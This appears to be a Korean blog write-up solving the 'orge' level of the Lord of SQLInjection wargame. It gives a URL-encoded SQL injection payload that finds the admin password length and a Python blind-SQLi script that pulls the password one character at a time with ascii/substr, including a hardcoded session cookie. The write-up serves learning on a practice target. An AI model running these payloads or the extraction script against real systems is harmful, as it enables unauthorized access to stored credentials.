agencies

LOS 문제풀이 : orge 본문

Ⅲ. 정보보안

LOS 문제풀이 : orge

agencies 2024. 3. 9. 22:40

 

 

이번에는 or과 and만 주의해서 문제를 풀면 될 것 같습니다.

패스워드의 길이는 8정도로 예상하고 값을 입력합니다.

 

pw='||id='admin'%26%26length(pw)=8%23

 

%26은 &을 나타냅니다. 

따라서 &&은 and 연산과 동일합니다.

||은 or과 동일합니다.

 

%23은 #으로 sql에서는 뒷 부분이 모두 주석처리되는 기능을 가지고 있습니다.

 

이제 패스워드의 길이를 구했으니, 값을 구할 차례입니다.

import requests as r

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27||id=%27admin%27%26%26"

i=8
flag = ""
#패스워드 검사
for j in range(1,i+1):
    for k in range(ord('0'), ord('z')):
        p = "ascii(substr(pw,{0},1))={1}%23".format(j,k)
        res = r.get(url+p,cookies={"PHPSESSID":"vgjb9eaaankiq042bvju3up9ll"})


        if "Hello admin" in res.text:
            flag+=chr(k)
            print("The password is :",flag)
            break

 

예전에는 cookies가 없어도 진행이 되었었는데, 현재는 location href ../ 가 발생되므로, 쿠키값을 넣어주도록 합니다.

ascii(substr(pw,{0},1))={1}# 부분을 살펴보겠습니다.

 

ascii는 문자열을 아스키코드로 변환합니다.

substr은 비밀번호의 문자를 하나씩 가져오게 됩니다.

 

요약하면 실제 패스워드의 값을 가져오는데, 그중 1개의 값만 가져와서 아스키코드(숫자)로 표현됩니다.

위의 반복문에서 일치하는 숫자가 있을 경우 출력이 되는 것이지요!